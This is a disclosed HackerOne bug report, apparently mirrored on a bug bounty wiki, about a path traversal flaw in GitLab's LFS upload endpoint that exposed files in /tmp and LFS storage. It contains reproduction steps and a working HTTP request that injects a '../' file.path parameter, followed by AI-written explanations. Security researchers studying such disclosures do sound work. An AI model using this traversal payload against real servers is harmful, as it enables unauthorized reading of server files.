System file enuming, /tmp and LFS file disclosure due to workhorse not checking params
The GitLab LFS upload endpoint accepted a user-supplied file.path parameter, allowing an attacker to read arbitrary files from /tmp and the LFS storage directory. This could disclose any LFS object if its oid and size are known, and potentially enable remote object deletion.
GitLab
Originally disclosed on GitLab
- Fixed in 9 months
- Disclosed after 9 months
HackerOne report #876998 by ledz1996 on 2020-05-18, assigned to @vdesousa:
Summary
Similar to #848415 but with LFS upload API
app/controllers/repositories/lfs_storage_controller.rb
def create_file!(oid, size)
uploaded_file = UploadedFile.from_params(
params, :file, LfsObjectUploader.workhorse_local_upload_path)
return unless uploaded_file
LfsObject.create!(oid: oid, size: size, file: uploaded_file)
end
Although it look likes Workhorse suppose to replace all the file.* param but it was possible to inject it anyway
This could lead to disclosure of all file in tmp and LfsObjectUploader.workhorse_local_upload_path, disclosure of LfsObjectUploader.workhorse_local_upload_path leads to disclosure to all lfs file with known oid
If Object Storage is used, file.remote_id could be used instead of file.path.
Steps to reproduce
- Create a Project
for example rrr/test_tmp_dis
2. Clone the project and set up LFS
git clone http://gitlab.example.vm/rrr/test_tmp_dis.git
git lfs install
git lfs track *.iso
echo "hehe123" > test_test.iso
- Commit and push the file but intercept the request that is sent to upload the lfs file
export http_proxy="http://<proxy>:<port>"
git add .
git commit -m 'test'
git push origin master
- Intercept the request sent to
http://<gitlab>/rrr/test_tmp_dis.git/gitlab-lfs/objects/<oid>/size and add file.path param pointing to the file you want to disclose in /tmp or /var/opt/gitlab/gitlab-rails/shared/lfs-objects/
I would use the file /tmp/test_dis.txt content:
Example request:
PUT /test/test_tmp_dis.git/gitlab-lfs/objects/83e1a1680f65e88ac7fb07191430fa240e1f3ed9351f2fbd095d7b3378aa16c9/3?file.path=../../../../../../../../../../../../../tmp/test_dis.txt HTTP/1.1
Host: gitlab.example.vm
User-Agent: git-lfs/2.10.0 (GitHub; linux amd64; go 1.13.8)
Content-Length: 3
Authorization: Basic dGVzdDpleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKa1lYUmhJanA3SW1GamRHOXlJam9pZEdWemRDSjlMQ0pxZEdraU9pSmtZV0U0TnpBM09DMDNPVEJrTFRRNFpEWXRZak5oWXkxa1pUYzJPR1E1TkRSaE9HVWlMQ0pwWVhRaU9qRTFPRGs0TURFeU1URXNJbTVpWmlJNk1UVTRPVGd3TVRJd05pd2laWGh3SWpveE5UZzVPREF6TURFeGZRLkcxekozYzQ5Wk5jdUU2cG5BQzUwX0EtanRsN0xXcHRGdXJrTDdjWHNHems=
Content-Type: application/octet-stream
Connection: close
oo
- Send the request and turn intercept off
- Navigate to project and download the LFS file to view the content of
/tmp/test_dis.txt - I prepare a video for this
bandicam_2020-05-18_18-24-53-887.mp4
Impact
File disclosure on /tmp and any lfs file with known id and size. File enuming, Remote Object deletion (check #848415)
Results of GitLab environment info
System information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.5p114
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.7
Git Version: 2.26.2
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 12.10.3-ee
Revision: 7c0ab260960
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.7
URL: http://gitlab.example.vm
HTTP Clone URL: http://gitlab.example.vm/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers: saml
GitLab Shell
Version: 12.2.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
File disclosure on /tmp and any lfs file with known id and size. File enuming, Remote Object deletion (check #848415)
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the LFS upload controller passed user-controlled parameters directly to UploadedFile.from_params without validating that the file path came from Workhorse, allowing path traversal.
Impact
An attacker could read files in /tmp and any LFS object with a known oid and size, and potentially delete remote objects.
What the attacker needed
A GitLab account; ability to create a project; ability to intercept HTTP requests
How it was found
- Create a project and set up Git LFS.
- Commit and push a file while intercepting the LFS upload request.
- Modify the intercepted request to add a file.path parameter pointing to a target file.
- Send the request and disable interception.
- Download the LFS file from the project to view the disclosed content.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
GitLab uses a component called Workhorse to handle file uploads. The LFS upload code trusted a file path supplied by the user instead of only using the path Workhorse provided, so an attacker could point it at other files on the server and then download them through the project.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.